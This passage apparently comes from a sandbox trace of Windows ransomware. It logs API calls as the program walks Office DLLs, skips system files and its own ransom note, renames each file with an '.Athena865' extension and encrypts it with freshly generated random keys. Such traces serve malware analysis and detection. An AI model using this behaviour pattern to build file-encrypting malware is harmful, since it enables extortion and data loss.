RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.358] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.359] CloseHandle (hObject=0x154) returned 1 [0086.359] CloseHandle (hObject=0x17c) returned 1 [0086.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.360] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0c4dba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x273970, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UML.DLL", cAlternateFileName="")) returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2=".") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="..") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="windows") returned -1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="bootmgr") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="temp") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="pagefile.sys") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="boot") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="ids.txt") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="ntuser.dat") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="perflogs") returned 1 [0086.360] lstrcmpiW (lpString1="UML.DLL", lpString2="MSBuild") returned 1 [0086.360] lstrlenW (lpString="UML.DLL") returned 7 [0086.360] lstrcpyW (in: lpString1=0x241e89e, lpString2="UML.DLL" | out: lpString1="UML.DLL") returned="UML.DLL" [0086.360] lstrlenW (lpString="UML.DLL") returned 7 [0086.360] lstrlenW (lpString="Athena865") returned 9 [0086.361] lstrlenW (lpString=".dll") returned 4 [0086.361] lstrcmpiW (lpString1="UML.DLL", lpString2=".dll") returned 1 [0086.361] lstrlenW (lpString=".lnk") returned 4 [0086.361] lstrcmpiW (lpString1="UML.DLL", lpString2=".lnk") returned 1 [0086.361] lstrlenW (lpString=".ini") returned 4 [0086.361] lstrcmpiW (lpString1="UML.DLL", lpString2=".ini") returned 1 [0086.361] lstrlenW (lpString=".sys") returned 4 [0086.361] lstrcmpiW (lpString1="UML.DLL", lpString2=".sys") returned 1 [0086.361] lstrlenW (lpString="UML.DLL") returned 7 [0086.361] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL.Athena865") returned 60 [0086.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll.athena865"), dwFlags=0x1) returned 1 [0086.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.362] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2570608) returned 1 [0086.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.363] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.363] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.363] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.364] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x273c70, lpName=0x0) returned 0x154 [0086.365] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x73c70) returned 0x2d50000 [0086.475] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.476] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.476] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.476] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0086.480] CloseHandle (hObject=0x154) returned 1 [0086.480] CloseHandle (hObject=0x17c) returned 1 [0086.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.489] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xc5750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UMLSYS.DLL", cAlternateFileName="")) returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2=".") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="..") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="windows") returned -1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="bootmgr") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="temp") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="pagefile.sys") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="boot") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="ids.txt") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="ntuser.dat") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="perflogs") returned 1 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2="MSBuild") returned 1 [0086.489] lstrlenW (lpString="UMLSYS.DLL") returned 10 [0086.489] lstrcpyW (in: lpString1=0x241e89e, lpString2="UMLSYS.DLL" | out: lpString1="UMLSYS.DLL") returned="UMLSYS.DLL" [0086.489] lstrlenW (lpString="UMLSYS.DLL") returned 10 [0086.489] lstrlenW (lpString="Athena865") returned 9 [0086.489] lstrcmpiW (lpString1="MLSYS.DLL", lpString2="Athena865") returned 1 [0086.489] lstrlenW (lpString=".dll") returned 4 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2=".dll") returned 1 [0086.489] lstrlenW (lpString=".lnk") returned 4 [0086.489] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2=".lnk") returned 1 [0086.490] lstrlenW (lpString=".ini") returned 4 [0086.490] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2=".ini") returned 1 [0086.490] lstrlenW (lpString=".sys") returned 4 [0086.490] lstrcmpiW (lpString1="UMLSYS.DLL", lpString2=".sys") returned 1 [0086.490] lstrlenW (lpString="UMLSYS.DLL") returned 10 [0086.490] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\UMLSYS.DLL.Athena865") returned 63 [0086.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\UMLSYS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\umlsys.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\UMLSYS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\umlsys.dll.athena865"), dwFlags=0x1) returned 1 [0086.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\UMLSYS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\umlsys.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.492] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=808784) returned 1 [0086.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.492] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.493] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.493] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.493] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5a50, lpName=0x0) returned 0x154 [0086.494] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc5a50) returned 0x2d50000 [0086.519] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.520] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.520] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.520] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0086.527] CloseHandle (hObject=0x154) returned 1 [0086.527] CloseHandle (hObject=0x17c) returned 1 [0086.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.530] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5b8400, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xdd86ba20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3f5b8400, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xa8390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0086.530] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="..") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="windows") returned -1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="bootmgr") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="temp") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="pagefile.sys") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="boot") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="ids.txt") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="ntuser.dat") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="perflogs") returned 1 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="MSBuild") returned 1 [0086.531] lstrlenW (lpString="URLREDIR.DLL") returned 12 [0086.531] lstrcpyW (in: lpString1=0x241e89e, lpString2="URLREDIR.DLL" | out: lpString1="URLREDIR.DLL") returned="URLREDIR.DLL" [0086.531] lstrlenW (lpString="URLREDIR.DLL") returned 12 [0086.531] lstrlenW (lpString="Athena865") returned 9 [0086.531] lstrcmpiW (lpString1="REDIR.DLL", lpString2="Athena865") returned 1 [0086.531] lstrlenW (lpString=".dll") returned 4 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".dll") returned 1 [0086.531] lstrlenW (lpString=".lnk") returned 4 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".lnk") returned 1 [0086.531] lstrlenW (lpString=".ini") returned 4 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".ini") returned 1 [0086.531] lstrlenW (lpString=".sys") returned 4 [0086.531] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".sys") returned 1 [0086.531] lstrlenW (lpString="URLREDIR.DLL") returned 12 [0086.531] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\URLREDIR.DLL.Athena865") returned 65 [0086.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\URLREDIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\urlredir.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\URLREDIR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\urlredir.dll.athena865"), dwFlags=0x1) returned 1 [0086.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\URLREDIR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\urlredir.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.533] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=689040) returned 1 [0086.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.533] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.534] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.534] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.534] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa8690, lpName=0x0) returned 0x154 [0086.536] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa8690) returned 0x2d50000 [0086.558] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.559] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.559] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.559] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0086.565] CloseHandle (hObject=0x154) returned 1 [0086.565] CloseHandle (hObject=0x17c) returned 1 [0086.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.568] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6b388e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1f570, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VAOSOLX.DLL", cAlternateFileName="")) returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2=".") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="..") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="windows") returned -1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="bootmgr") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="temp") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="pagefile.sys") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="boot") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="ids.txt") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="ntuser.dat") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="perflogs") returned 1 [0086.568] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2="MSBuild") returned 1 [0086.568] lstrlenW (lpString="VAOSOLX.DLL") returned 11 [0086.569] lstrcpyW (in: lpString1=0x241e89e, lpString2="VAOSOLX.DLL" | out: lpString1="VAOSOLX.DLL") returned="VAOSOLX.DLL" [0086.569] lstrlenW (lpString="VAOSOLX.DLL") returned 11 [0086.569] lstrlenW (lpString="Athena865") returned 9 [0086.569] lstrcmpiW (lpString1="OSOLX.DLL", lpString2="Athena865") returned 1 [0086.569] lstrlenW (lpString=".dll") returned 4 [0086.569] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2=".dll") returned 1 [0086.569] lstrlenW (lpString=".lnk") returned 4 [0086.569] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2=".lnk") returned 1 [0086.569] lstrlenW (lpString=".ini") returned 4 [0086.569] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2=".ini") returned 1 [0086.569] lstrlenW (lpString=".sys") returned 4 [0086.569] lstrcmpiW (lpString1="VAOSOLX.DLL", lpString2=".sys") returned 1 [0086.569] lstrlenW (lpString="VAOSOLX.DLL") returned 11 [0086.569] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VAOSOLX.DLL.Athena865") returned 64 [0086.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VAOSOLX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vaosolx.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VAOSOLX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vaosolx.dll.athena865"), dwFlags=0x1) returned 1 [0086.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VAOSOLX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vaosolx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.570] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=128368) returned 1 [0086.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.570] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.571] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.571] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.571] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f870, lpName=0x0) returned 0x154 [0086.573] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f870) returned 0x100000 [0086.577] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.578] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.578] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.578] HeapFree (in: hHeap=0x4f0000, 